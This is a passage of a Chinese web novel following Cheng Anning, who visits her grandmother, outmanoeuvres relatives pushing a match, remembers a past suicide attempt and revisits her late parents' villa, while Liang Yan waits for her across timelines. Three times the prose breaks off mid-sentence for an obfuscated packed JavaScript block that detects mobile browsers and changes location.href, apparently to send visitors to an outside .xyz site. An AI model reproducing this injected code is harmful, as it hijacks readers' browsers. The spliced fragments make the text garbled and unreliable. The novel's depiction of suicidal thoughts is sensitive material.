随着距离的缩近，她也看到了奶奶身边的两人，是她的姑姑程菲和姑丈焦新凯。 听到她的话，两人不约而同地冷笑了一声，焦新凯开口道：“怎么说话的？你以为你奶奶跟你一样孤苦伶仃生病没人带去医院么？” 程菲冷笑附和：“净问些废话，要是等你发现才带去医院的话，都不知道要到什么时候。” 许久未见，开口便充满浓烈的火药味，似乎已经准备充足，随时能够对她发出致命的冲击。 但很快，苍老厚重的声音掐灭了刚燃起的导线：“菲菲！新凯！” 语气充满不悦。 程菲夫妇见状，识趣地敛起尖锐的态度，低头跟老人家说：“妈，既然安宁在楼下，就让她带你上楼吧，我们走了。” 老太太没有回话，只是板着脸抽回自己被挽着的胳膊，拄着拐杖往前走。 程安宁见状，忙跟上脚步。 程菲夫妇没再停留，转身离开。 程安宁很快挽上老太太的胳膊，声音低落且愧疚：“奶奶，对不起，我不知道您生病了。” 这段时间她发现中奖的二手电脑能够实现跨时空联系后，忙完工作一有空就跟梁彦商量计划和执行，在给长辈打电话慰问这一方面确实疏忽了。 老太太缓了神色，无奈笑道：“只是最近吹着风扇过夜有点着凉，人有些咳嗽，不是生病了，现在已经好得差不多了，你看我身体还硬朗着呢。” 说着，宠溺地轻拍她的手背问：“是你姑姑大题小做，把你喊回来了吧？她今天一早还非要接我去她家，一待就待到现在，你什么时候到我这儿的？” 程安宁扶着她慢悠悠地靠近居民楼大门，闻言，眼里闪过一抹若有所思，轻声回道：“我下午就到了，姑姑说会送你回来，我就一直在这里等着。” 她姑姑知道她和奶奶关系好，清楚她得知奶奶生病了一定会赶回来，所以故意一早把人接走，然后给她打电话。 这样做的用意是什么，她不清楚。 不过来都来了，也亲自确认老人家没事了，她心里总算踏实了。 闻言，老太太再次变了脸色，“我说怎么今天拿着手机不给我，还一直留我不让我早点回来，原来是为了耍你！宁宁，你放心，我咳咳咳……” 突然的情绪波动爆发了剧烈的咳嗽，程安宁顿感紧张，忙安抚道：“奶奶，别生气，耍我就耍嘛，反正我等得起，只要能让我见到您就可以了。” 老太太缓了缓，面上失望摇头：“心太坏了！他们真是不配当你的长辈！” 程安宁嘴边继续安抚她，同时轻拍后背，直到老太太的情绪缓和，这才一同进了居民楼。 两人很快乘着电梯抵达三楼。 程安宁接过屋门的钥匙开了门，扶着老太太进屋。 屋内的陈设依旧保持着几十年前的风格，令人眷念。 一老一少在沙发上坐下，老太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019641|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太紧握着程安宁的手，语气感慨：“宁宁，让奶奶好好看看你，这都多久没见了。” 程安宁乖巧端坐，弯着眉眼打趣：“快看看是不是变得更漂亮？” 老太太乐呵呵的，布满皱纹的双眼闪烁着精光：“我们宁宁当然漂亮了。不过怎么看着好像又瘦了？” 程安宁摇头，煞有其事地抬起手，展开手掌亮出五指：“这是错觉，我最近才称了体重，重了五斤呢。” “是吗？”老太太半信半疑。 程安宁眸底的心虚一闪而过，适时转移话题：“倒是您要好好补一补才是！过段时间要转季了，更要注意身体，我在网上给你买了一些补品，明天快递就会送到，你让钟点工阿姨每隔两天煮给你吃。” 闻言，老太太赶忙劝阻：“又乱花钱！赶紧退了！” 程安宁可怜巴巴地眨了眨眼，语气故作伤心：“这只是我的一点小心意，奶奶这是要把我的真心推走吗？” 老太太顿时拿她没辙，面上做出一副严肃的样子，叮嘱道：“下次不准再买了，家里多着呢。” “是是是！”程安宁眼里闪过一丝得逞，喜笑颜开地抱紧她的胳膊，脑袋轻轻靠在肩膀旁边。 这是她从小最喜欢粘在爷爷奶奶身边时做的举动，这让她有种无比安心的感觉。如今回到熟悉的环境，也就不自觉唤醒了以前的习惯。 老太太温柔地摸了摸她的脑袋，做出挽留：“宁宁，难得回来就多待几天吧，你多久没跟我坐下来聊聊天吃顿饭啦？” 听出老人家话里的不舍，程安宁鼻子泛酸，不忍拒绝，点点头应下：“好，我多待几天，陪你吃饭聊天，好不好？” 因为不知道奶奶的病情如何，她今天情急之下跟老板请了一周的假就赶过来了。当然，她也已经做好会被辞退的心理准备。 没有哪份工作容得她三天两头请假，可是有时候偏偏碰到不得不请假的情况，如今她这个样子似乎找兼职打散工比较合适，这样至少能随时兼顾老人和梁彦的事情。 听到她愿意留下，老太太笑得合不拢嘴。 两人断断续续地聊着天，提及周边的八卦趣事，程安宁更是笑得冒出泪花。 老太太看在眼里，露出欣慰的笑意，枯瘦的双手落在她的左手腕上，轻轻摩挲着上面早已淡去的疤痕，声音温和：“我们宁宁一定要好好活着啊。” 温暖的指尖覆在腕上的触感分外清晰，程安宁微微恍神，记忆一瞬被带回了四年前的某一天。 那个时候父母的意外离世，让她完全丧失了活下去的念头。 她不愿意接受现实，也不想再承受如此沉重的痛苦，于是某一天，独自在家的她躺进放满水的浴缸。 冰凉的水激活了她全身的感官，她清醒了一些，又好像没有，然后拿起旁边早已备好的美工刀…… 再后来，她睁开眼，发现自己躺在医院的病床上，床边围满了一群亲戚。 当时，她的奶奶和外婆听到消息也赶到了医院。两位老人家泪流满面，哭着说已经失去了她爸爸妈妈，不想连她也失去，哀求她好好活下去，不要做傻事。 47.47 思绪回笼，程安宁闭眼蹭了蹭那只温暖的手，点头轻嗯：“我会的。” 那个时候两位老人声泪俱下地哀求她，她触及她们眼里浓重沉痛的悲伤，心痛得难以呼吸，如同在照镜子。 都说哭出来就好了，可是她哭了很多次，流了很多泪水，叹了无数次气，那股悲痛依旧没有减少。 后来，她心里暗暗决定先活下来，至少在两位老人家寿寝正终之前。 等到她尽完孝，心里没有任何牵挂的时候，妥当安排好一切再选择离开这个世界。 于是她在外人眼里似乎恢复了正常，继续完成余下的大学学业，之后毕业、找工作谋生、在外独居。 她无所谓地活着，用最低欲望维持自己的日常生活，让自己活着就行了，也仅仅只是活着。 什么梦想什么追求都需要靠着心气维持，可她的心气早在十九岁那年消散殆尽，不再抱有任何希望。她十九岁之后的人生，只剩下等待，等待着跟这个世界告别。 直到她发现自己能够与另一时空的梁彦对话。 两人聊到临近深夜。 老太太在程安宁的催促下这才同意回房间休息。 程安宁把她扶回房间，轻声道了声“晚安”，随后关上主卧的门，转身进了对面其中一间的次卧。 这是她父亲以前住的卧室，后来这间卧室成了她的。里面添置了不少女生的东西，以前每逢周末，她只要想爷爷奶奶了，她父母就会把她送到这边住上两天，如今里边的一切布置还维持着原状，她最喜欢的玩偶仍旧摆放在床头位置。 程安宁的视线在房间内的每一寸地方停留许久，最终定在书桌上摆放的相框上。 相框里是她和父母的合照。 她是个很怕触景生情的人，总是下意识避开那些能够唤醒她记忆的地方。即便这样，心里却没有停止过思念，那股沉重的痛苦也如影随形，像一张密网紧紧裹住她，无从挣脱。 不过现在她不怕了，因为未来的某一天，她会再度与他们重逢。 关闭房间内的灯，程安宁躺到床上。 奔波了一天，处于焦躁不安的心情，在这一刻彻底平静下来。 身心的倦意慢慢融化在床上，她拿出手机看了眼时间，这才有余力想其它事情。 今天她得知奶奶生病的事情，就急匆匆从公司请了假打车过来了。 当时她顾不了太多，也就没有回去自己的住处一趟，所以没办法回去在那台二手电脑上给梁彦留言说明情况。 想到这，程安宁眉头微皱，眸底闪过一丝担忧。 现在已经是晚上十一点左右了，她已经答应奶奶会留下，睡前还说好明早陪她去附近的公园走走，她今晚是没办法回去了，最快也只能明天陪奶奶吃顿午饭后赶回去。 不知道这会儿另一个时空的梁彦迟迟等不到她出现，会不会以为她玩失踪跑路了？ …… 与此同时，另一时空。 梁彦发现程安宁今晚上线的时间比以往还要晚。 他今晚已经完成了一半的加班内容，旁边那台电脑还是没有传出任何动静。 以往程安宁只要出现都会开口跟他打招呼，可是他今晚一直没有看到那张熟悉面孔的出现，更没有听到声音。 是今天公司团建吗？还是下班之后跟朋友去玩了？ 可是…… 梁彦低头看了眼腕表，现在已经是深夜了，印象中，程安宁从未这么晚还没出现在电脑前，而且他今晚开机的时候也没有看到电脑桌面上有相关留言说今晚会晚一些上线之类的。 想到这，他看向电脑上挂着的视频软件界面里的自己，薄唇微启：“安宁，你在吗？” “……” 一片寂静，没有任何回应。 梁彦沉住气，继续忙手头上的工作，目光忍不住留意起一旁的笔记本电脑。 直到忙完今晚所有加班内容，他看着仍旧毫无动静的电脑，心里没来由的焦躁。 电脑旁是一个满满当当的笔筒，那只以程安宁为原型钩织的豆豆眼小人就靠在笔筒旁边。 他忍不住伸手，修长的指尖蹭了蹭那只毛线小女孩的脸颊，敛眸沉思。 凌晨两点了。 是发生什么事情导致今晚没能出现吗？ 他明白程安宁不会平白无故跟他切断联系，毕竟两人的合作还在进行中，程安宁有多希望改变父母的命运他是清楚的。 只是两人处于不同的时空，他没办法通过手机联系上程安宁，唯一能让两人实现跨时空联络的只有这台笔记本电脑，似乎除了等待别无他法。 他只希望程安宁今晚只是临时有事没能打开电脑，或者是电脑出现故障，而不是她本人出了什么意外。 天边泛起鱼肚白，梁彦一夜未眠。 电脑屏幕的冷光照在棱角分明的脸庞上，透出眼里的丝丝倦意。 电脑桌面上依旧除了他挂着的视频界面之外，没有其它变动。 这是他第一次与程安宁失去联络。 梁彦合上电脑，起身离开书房。 未来科技的早会上，刘志辉发现梁彦今天整个人比以往还要沉默，身上也莫名散发着一股凛冽的低气压，就连会议上他开了几个轻松的玩笑，大家都放声大笑，只有梁彦坐在那儿面无表情。 还有这会儿整个团队中午在一家高档餐厅聚餐，梁彦只是说这一餐算他账上，人却没有到场参与。要知道，平时梁彦是话少，但在听到一些有趣的笑话还是会跟着笑的，而且一些场合该参加也会做足表面功夫的，不会搞扫兴这一套。 所以今天真的不对劲！ 十分有九分的不对劲！ 于是，刘志辉吃饱饭在团队聚餐中提前离场，悄悄摸回公司。 此刻，他走到梁彦的办公室门外，鬼鬼祟祟地往门上的小窗户看。 只见梁彦坐在办公桌前，正低头拆桌上的袋子，接着拿出一个快餐盒。 刘志辉神色诧异，眼里泛起不解。 不是，这是什么操作？中午一群人到餐厅吃大餐，他一个人反倒躲在公司里吃外卖？？近期的项目不至于忙到需要守在电脑前的地步啊？ 刘志辉索性推门而入，开门见山问：“彦哥，你今天怎么回事儿？是发生什么事情了吗？” 对于突然的打扰，梁彦只是抬眼看了刘志辉一眼，眉头微皱，没有回答他的话。 刘志辉重新关上办公室的门，径直走向他，嘴边继续道：“有什么事情可以跟我这个好兄弟说说啊，不然憋在心里多难受，是吧？” 梁彦拆开一次性餐具，语气淡淡：“你想多了，我要吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032515|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭了，你回你自己的办公室午休吧。” 没有搞清楚怎么回事，刘志辉自然不会走人。 他拉开对面的椅子，一手摸着下巴猜测道：“你看上去休息得不好啊，而且今天早上的状态很不对劲，听笑话笑不出来，中午聚餐又不参加，一副心情不佳的样子。难道……是跟女朋友吵架了？总不可能是失恋吧？” 最后的那句话透着打趣。 梁彦却是顿住手头上准备用餐的举动。 刘志辉见状，瞬间敛起轻松的神色：“我靠！不会被我说中了吧？！是不是你昨天回去后跟人家提起你买的东西了，人家觉得你太轻浮了，居然这么快就想同居睡她之类的？啧啧啧，看吧！我昨天都说你猴急了！” 梁彦太阳穴突突直跳，一记锐利的眼刀扫过去，沉声否认：“你真的想多了。” 刘志辉背脊一凉，识趣闭嘴。 梁彦则收回视线，目光落在旁边那台亮着屏幕的旧笔记本电脑，眸底闪过一抹若有所思。 昨晚没能和平时一样顺利跟程安宁联络，他承认心里烦闷低落，也担心另一时空的程安宁是不是真的出了什么意外。 而他中午没有参加团队聚餐，是因为他今早把这台旧笔记本电脑带到公司了。他不想错过任何动静，所以决定守在这台旧电脑前，说不准程安宁会在哪一时刻突然出现。 只是没想到在其他人看来，他像是失恋了。 或许吧。 如果他这种烦闷低落、心里不自觉牵挂着某一个人的状态可以称之为失恋的话。 办公室内的氛围一时间安静下来。 刘志辉见他盯着电脑发呆，越看越觉得自己猜得没错，忍不住再次开口：“本来网恋这种东西就不太靠谱，是你一开始太当回事儿了，又在公司官宣又是请吃饭的，还拿人家照片当头像，现在分手了多尴尬啊！” “不过现在长记性了也好，以后就不会再犯了。” 刘志辉最后因为话多太吵被赶出办公室。 - 另一时空。 明亮的客厅内氛围凝滞，安静得透露着一丝怪异。 程安宁踏入客厅的时候，就看到一众亲戚坐在客厅沙发上，颇有一副要商议大事的样子。 因为她走进客厅的动静，这会儿众人的目光齐刷刷落在她身上，带着让人不舒服的打量和审视。 不过是回房间打了通电话的功夫，竟然来了这么多人，程安宁眼里闪过一丝诧异。 此刻，客厅内，除了她珍视的奶奶之外，没有人给出笑脸。 自从父母意外离世后，她和这些亲戚已经撕破脸皮了，双方确实没必要给对方好脸色看。 程安宁移开视线，把他们当空气，径直走到老人家面前，轻声开口：“奶奶，我打算回去了，工作上的事情实在是不好落下，等下次回来再多陪您几天。” 早上她已经陪了奶奶外出散步，中午也一块儿吃了钟点工阿姨做的午餐，度过了短暂却又温馨惬意的上午。 只是现在不是贪恋这些时光的时候，还有不少正事在等着她。 闻言，老人家拉住她的手，面露不舍：“怎么这么快啊……” 话音刚落，另一道厚重沙哑的声音介入进来：“先别回去了安宁，坐下来跟你的叔伯还有姑姑她们聊聊吧。” 48.48 程安宁闻声抬眼，看向开口的人。 是她的大伯程健。 横在中间的桌子就像一条楚河分界线，双方自成两个不同的战线。 她的视线扫过沙发上那一群姿态傲慢的亲戚，眼神透着戒备，神情和语气一样的淡漠：“你们想跟我聊什么？” “这么久没见，当然是想关心一下你的情况。”接话的是她的小叔程峰。 程安宁心里冷笑。 一群人坐在这儿就等着关心她？这么虚伪的话说出来，恐怕他们也想笑出声吧？ 四年前她父母离世那会儿，她可是领教过他们真实嘴脸的。 程安宁嘴巴微动，余光扫了眼旁边慈眉善目的奶奶，只好敛起心里悄燃的火苗，维持体面道：“我住好吃好喝好，没什么需要关心的，我先走了。” 说完，她不忘转头跟旁边的奶奶说声再见。 刚迈出一步，姑姑程菲开口了：“安宁，你这个年龄该谈对象找个人照顾你了。” 宛如听到了天大的笑话，程安宁顿住脚步，反问：“我四肢健全，请问哪里需要人照顾？再说了，我真想要人照顾我的话，我需要找的是保姆而不是对象，明白吗？” 一连串的反驳让程菲一噎，脸色一阵青一阵白。 大伯程健凯旋即接过话：“话不能这么说，我们是希望你身边有人能够呵护你、爱护你，这样我们和你奶奶也能放心些。” 小叔程峰点头附和：“特别是你奶奶，她天天担心你吃不好穿不好，愁得睡不着觉。” 像是事先排练过似的，姑父焦新凯适时直入主题：“正好前阵子有个老熟人说他儿子正在找对象，人又高又精神，年龄跟你差不多，还是名校毕业的！他们家条件很好，有一间规模很大的面料厂，跟你家以前一样。” 程健搭腔：“人家打算以后把整个厂交给他儿子打理，正好你从小耳濡目染，多多少少懂一些这方面的知识，再加上你外在条件又不错，他们就想找这样的儿媳妇。你要是进了他们家，以后可以协助你老公一起经营那家大厂过上好日子。” 程峰也极力推荐：“人家的家里条件跟你家以前不相上下的，而且那个男生有教养、老实本分，懂事还孝顺长辈，简直无可挑剔。” 原先吃瘪的程菲也调整好神色，态度难得平和地补上一句：“我们已经给你奶奶说过了，你奶奶也觉得对方不错。” 一行人像是为了帮忙卖出滞销品的中间商一样卖力，而她就是被他们锁定的目标顾客。 程安宁神色波澜不惊，心里只觉得好笑。 原来昨天整那一出把她骗回来，真正的目的是为了给她介绍对象。并且还是一群人出动，轮番上阵帮人家说好话。 按照她对他们的了解，这其中肯定能获得什么好处，不然不可能如此卖力，还一反常态，主动“关心”起她的人生大事来了。要知道，在这之前，她和这群亲戚长辈的关系早就到水火不容的地步了，属于是他们见到她就会破口大骂的恶劣程度。 不过是意识到，无法得到她父母留下的巨额遗产后的恼羞成怒罢了。 当然，她都当狗叫处理。 这会儿多新鲜呐，明明当年为了争夺她父母留下的遗产，四人争得脸红耳赤，互相揭老底和咒骂，最后还动起手来着。现在这群人重新联合在一起，想榨走她身上唯一一点他们可以获取的价值。 “我们宁宁要是觉得不错的话，可以试着接触看看。”心念电转间，身旁传来老人家温和的声音。 程安宁自然清楚老人家的想法，和其他四人的不一样。前者是希望她有人陪，后者却带有目的。 一时间，屋内所有人的目光都聚集在她身上，等待她回应。 于是，她扬起嘴角，像是释放了友善讯息，露出一抹灿烂的笑容。 其他人眸光一亮，正以为她是不是被说动了，就见她转头看向旁边那道苍老的身影，出声表态：“奶奶，还是算了。人家有钱没钱都跟我没关系，我没兴趣嫁给别人为他们的家业尽心尽力，又不是吃饱了撑的。而且我现在就过得很好，感情上的事情随缘，不劳你们操心了。” 老人家淡淡点头，还未出声，程健最先挂不住脸色，率先开口：“过得很好？哈！要不是听我家阿杭说你在咖啡店当服务员擦桌子，我以为你多有能耐呢！你还跟你奶奶说你在大公司当白领，是梦到的吧？” 程安宁敛起轻松的神色，目光定在那张苍老慈祥的面孔上，看到神色没有多大的波动，顿时明白老人家早就知道这件事情。 是的，就是这么巧。 之前她大学刚毕业的时候就进了一家咖啡店打工，她在电话里跟奶奶说的是在一家外企上班。结果有一天，她碰到自己的堂哥程杭带着朋友光顾。 她对这位堂哥的印象是好为人师，很爱批判谁谁谁怎么样，然后再加上一番自己的见解，一副谁都没他懂的样子。 那会儿两人正面对视了，当时她就在想完蛋，这下程杭回去后不得传得人尽皆知。后面程杭离开咖啡店时单独找到她说话，说是可以帮她保密在咖啡店打工的事情，相应的，她也要帮他保密今天的事情。 其实她当时一开始有点奇怪要给他保密什么，直到她看见程杭跟那位一同喝咖啡的男性友人手牵手，十指紧扣走出咖啡店，这才明白他要她保密的事情是什么。 现在看来，程杭当时并没有信守承诺，转头就把她这件事情说出来，一家人指不定没少在背后蛐蛐她。 行啊！背刺她是吧！看她老实人好欺负是吧！！ 一旁的焦新凯见状，随即借题发挥：“安宁，这我就要说你了！过得不好不是件丢脸的事儿，你撒谎骗你奶奶就不对了，你明白她最疼你了。” 程菲冷笑，眼神像在看一个跳梁小丑那般轻蔑：“你知不知道你每次在电话里吹你过得多好的时候，她在心里担心得不行？” 程安宁垂眸，暗自深呼吸一口气，脑海里飞快想着对策。 再次抬眼，她的目光重新回到奶奶身上。 触及老人家满怀关切和心疼的目光，她面上露出一抹从容的微笑，状似无意地解释道：“奶奶，这都多久的事情啦，找工作难免有空窗期，我当时找了份咖啡店的工作，没想到这都能成为大伯他们觉得我过得不好的臆想，还擅作主张给我相起对象来了。” “不知道是不是对方给的媒人红包很大，导致他们这么热心，巴不得把我赶到别人家才好。” 听到最后那句话，四人不约而同变了脸色。 “真是好心被当驴肝肺！我们好心介绍这么一个优质对象给你，反倒被你泼脏水！”最先跳脚的又是程健。 程峰的指责声紧随其后：“我对你太失望了！本来想着大家不计前嫌，我们都盼着你这个侄女能够过得好，结果你是这么揣测我们的！” 程安宁点头笑笑，一副很是赞同的样子，同时低头翻了翻身上的包包，从里面拿出一个小巧的头戴式耳机，嘴边不忘顺着他们的话说：“嗯嗯嗯，是我小人之心度君子之腹啦。” 说着，她又分别捣鼓了一下手机和耳机，随后转身就戴到老人家头上，贴心嘱咐：“奶奶，你先听会儿戏曲。” 老人家正一脸疑惑，下秒，听到耳朵里响起了熟悉的戏曲声，笑着眯起眼睛享受。 做完这些，程安宁这才重新看向沙发上的四道身影，面上露出一副悔恨自责的表情：“太感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046767|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢你们为我着想，给我介绍这么优质的相亲对象！可惜我不配你们的好意呢，你们还是留给杭哥吧，我想他会喜欢的。” 程健皱眉呵斥：“你在说什么鬼话？你杭哥是男的，我看你的脑子是坏掉了。” 程菲一脸鄙夷：“怎么？知道自己理亏了就开始胡言乱语了？” 程安宁歪头，无辜眨眼：“这你们就不懂了吧！现在社会可开放了，大家的接受度也提高了，同性之间能够自由恋爱，大街上同性拉手亲嘴没少见。” 顿了顿，她热心分享道：“杭哥没有告诉你们吧，他遇到我在咖啡店工作那会儿，他带着一个男人一起喝咖啡，两人最后还是手牵手，十指紧扣离开的，当时他还让我帮忙保密呢，没想到他先背叛了我。” 看着沙发上脸色愈发凝重的程家三兄妹，程安宁继续扮演缺心眼的角色，“其实一直瞒着也不是个事儿，你们迟早要知道的，对吧？所以，提前恭喜你啦，大伯，你家里以后又多了一个儿子孝顺你，这是福报呀！” 身为游走在潮流前端的年轻人，她是尊重且祝福每一人的性取向的。她仅仅是在反击人品堪忧的程杭对她的背刺，而非哪个群体。 而年轻人和长辈的思想注定是有冲突的，这就是她给奶奶戴上耳机听戏曲的原因，避免老人家受到这件事情的冲击。 话音刚落，程健倏地站起身，隔着桌子就要伸手拽她：“你这死丫头！你再胡说八道，我把你的嘴撕烂！” 程安宁眼皮一跳，迅速后退一步，转身就把老人家头上的耳机摘下，扬声喊道：“啊！奶奶！” 与此同时，程峰和程菲拉住了程健，冲他摇了摇头，低声劝了几句，三兄妹还异常团结地瞪了她一眼，目光恶狠狠的。 程健这才强迫自己冷静下来，丢下一句“妈，我有事先回去了”就离开了，程峰和程菲夫妻俩也纷纷起身走人了。 老人家一副状况外，虽然疑惑他们怎么突然走人，但还是点头嘱咐了声“慢走”，随后不忘问程安宁：“宁宁，你刚才喊我做什么？” 程安宁笑：“没事，我就是提醒您这耳机不能听太久了，对耳朵不好，我还是给您开电视吧，可以边看画面边听。” 虽然程杭是程健的儿子，跟程峰和程菲两家没关系，但是在他们这个年纪且传统保守的人看来，事关家族面子问题，程健家的事情也会连累到他们另外两家的颜面。 很快，屋内响起婉转悠扬的戏曲声。 程安宁把遥控器塞到老人家手里，蹲下来与她平视，轻声道：“奶奶，我要回去了，我跟你保证下次多停留几天，您注意身体，没事就给我打电话，我给你买的那些补品也要记得吃，我回来会检查的。” 老人家无奈笑笑：“行行行，能看到你我已经很高兴了，你在外要照顾好自己，我这里随时欢迎你回来。” 程安宁眼里化开暖意，郑重点头：“嗯！” 老人家拉住她的手，另一只手轻拍她的手背，提起刚才最开始的那个话题：“宁宁，感情这种事情确实是随缘比较好。只是，我希望你能够真正走出来，跟其她同龄人一样多认识新朋友、谈谈恋爱、到处走走看看，享受这个年龄应有的活力和美好，如果在这个过程中能找到相伴一生的人就更好了。” 说到这，她笑呵呵的：“真想看到我们宁宁以后谈的男朋友是什么样的，希望我能再多活个十几年等着给你把把关。” 语气透着打趣与感慨。 程安宁鼻子一酸，默默压下心里翻涌的情绪，抬手覆上她的手背，神色认真：“您当然会活很久很久！” “奶奶，您不用担心我没人陪的，其实我已经有男朋友了，我下次就带他过来拜访您。” 49.49 闻言，老人家拉着她的手倏地加重力道，神色惊喜：“真的吗？对方是什么样的人？是什么时候在一起的？怎么都没有听你在电话里提起过？” 一连串的问题如骤雨袭来，程安宁微微一笑，从容应对：“当然。因为我跟他刚交往不久，我想着稳定交往一定时间后，确定能跟他继续发展下去再告诉您。至于他是什么样的人，我现在先不说，等您见到了您帮我判断。” 老人家信了她的话，笑容加深：“好好！下次一定要把人带来！” 程安宁眸底闪过一丝异色，点头轻嗯：“一定。” 她明白，老人家生怕之前的事情再次上演，始终无法真正放心她一人在外，所以希望她能有新的牵绊、希望这个世界能多一个留住她的理由。 至于口头承诺的下次带对象过来，到时再想办法吧，比如租个假男朋友应付一下什么的。 不久，附近的两位邻居奶奶前来串门，负责打扫卫生的钟点工阿姨也来了。 程安宁之前就听奶奶说，她跟这附近好几户人家的老人都处成了关系不错的好姐妹，每天都会在固定时间聚在一起听曲唠嗑。 屋里开启专属午后的热闹和惬意，程安宁礼貌地跟长辈们打了声招呼，随后没再停留，安心离开了。 她没有急着打车原路返回，而是决定趁这次机会顺便到外婆家探望。 为了确保外婆在家，她先打了通电话，通过旁敲侧击确定外婆在家后，这才放心前往。 坐了一小时的车程，敲开门的瞬间，老人家脸上的喜悦藏也藏不住，忙拉着她进屋，说是今早收到了她寄过来的补品，让她把钱留着自己花，不需要寄东西过来，语气满是无奈。 因为外婆是跟舅舅一家住在一块儿的，白天舅舅一家该上班的上班，该上学的上学，程安宁趁这个难得的空档坐下来陪陪老人家。 拉拉家常，互相关心近况，一老一少开口就没停下来过。 和她的奶奶一样，外婆从见到她就一直拉着她的手不放，视线一直停留在她脸上，眼里隐隐闪烁着泪光，脸上却是笑意不减。 程安宁知道，她们都在透过她这张脸看着自己思念的人。 听她说去看过奶奶了，外婆点点头，问：“那你……回家看过了吗？” 程安宁愣了一瞬，触及那双盈满关切的眼睛，很好地掩住波动的情绪，微笑轻嗯：“看过了。” 家吗？自从她搬离之后就没再回去过了。 她清楚老人家这样问的用意，是想知道她是否能够坦然面对过去的一切了。 闻言，老人家脸上笑意加深，欣慰点头。 过了一会儿，见时间差不多了，程安宁起身告别。 老人家依依不舍，嘱咐她要照顾好自己。 程安宁点头应下，挥手坐上出租车，同样叮嘱她要注意身体。 车辆很快启动。 窗外街景倒退，司机师傅正跟她再次确认目的地。 程安宁眼底闪过一丝异色，临时改变主意：“师傅，到东林区的朗月居。” 父母以那么痛苦的方式意外离世后，朗月居曾经一度成为她最想逃离的地方，因为那里的一草一木都能勾起她与父母之间的回忆，令她痛苦得无法喘息。 想要暂时活下去，就必须先离开那里，于是她当时只能选择搬离，尽量不再踏足那里。 但是，现在已经没关系了。 她的父母还在另一时空好好活着，现在她只当这个时空的父母开启了一场漫长的旅途，她们一家最终还是会相见。 抵达朗月居的其中一个入口，程安宁下了车，自行走路进了别墅区。 曾经有着“清城富人区”之称的朗月居，早已在飞速发展的社会中被许多地区开发的房地产取代。似乎已经有不少户人家搬走了，她经过好几处独栋别墅都是大门紧闭，院子里杂草丛生，植被凌乱，显然是无人居住的状态。 以前道路两边都能停着一长排豪车，像是在举办豪车展览会似的争相斗艳，如今走出好一段路只能看到一两辆车，人影更是寥寥无几。 随着脚步的靠近，常年空置的167号别墅最先落入视线，接着便是……承载了许多珍贵回忆的168号别墅。 程安宁在欧式铁艺的院门前停下，院内苍翠的野草几近挡住前往屋门的路，不过大批青苔已经抢占先机，周围的藤蔓肆意延展缠绕，像给墙壁披上无数条绿色丝带。 它们无声地对外昭告这是一座久无人居的别墅。 程安宁在门外驻足片刻，随后拿出钥匙，推门进去。 走进院子，她走出一段距离便停下脚步，转头看向左侧，视线越过野蛮生长的杂草堆，最后落在一棵枝叶稀疏的树上。 那是她父母在她小时候栽种的柠檬树。 往年蓬勃葱绿的柠檬树，如今耷拉着稀疏的黄叶，完全失去了生机，带着一种无力回天的趋向。它孤零零地伫立在野草堆中，安静地等待生命的谢幕，如同先前的她。 默默整理着翻涌的情绪，程安宁收回视线，走到厚重气派的屋门前，目光落在上面的智能门锁。 这么久了，不用尝试就知道它已经报废了。 好在这扇门还可以用钥匙门打开，她用另一把钥匙开了锁。 很快，随着屋门的顺利打开，瞬间带动了上面厚厚的一层灰尘，像有人迎面扬了把水泥灰。 程安宁忍不住捂嘴咳嗽，迅速走进屋内。 因为还是白天的缘故，再加上屋子的采光不错，即便没有开灯，里边依旧光线充足。 灰尘在阳光下慵懒漂浮，屋内的一切还定格在她搬离的那一天。 确切地说，是定格在她父母离开的那天。 因为她后来也没有动过屋里的一切，这屋内还保留着她父母过往的生活痕迹，就好像他们从未离开过一样。在那段极度痛苦的日子里，她曾用这样的方式欺骗着自己。 程安宁挪步走到客厅，沙发上摊开的报纸仍在原地，遥控器就摆在旁边，屋子的主人似乎只是短暂离开那个位置去做别的事情，仿佛她站在这里一喊“爸爸妈妈”就能立马得到回应。 无法抑制的热意悄然涌上眼眶，程安宁移开视线。 她在这个熟悉久违的家里逛了一圈，最后走出屋门时，手里多了一个袋子。 这是她想带走的东西。 关上门，程安宁往回走。 一抬眼，就看到院门外有一道身影正好奇探头地往院内张望。 四目相对的那一刻，两人先是愣了一下，而后院门外的人面露喜色，激动地朝她招手：“安宁！” 程安宁神色诧异，快步走向她：“佳柔！” 是她从小在朗月居认识的玩伴兼朋友。 朗月居就像一个社区的缩影，物业偶尔会举办一些有意思的派对让业主参加，久而久之，业主之间相互结识，各家的孩子们也是，所以她童年的朋友几乎是聚集在这片别墅区里的。平时日大家互相串门，相约一块儿玩，父母之间又是知根知底的，压根不用担心有什么危险。 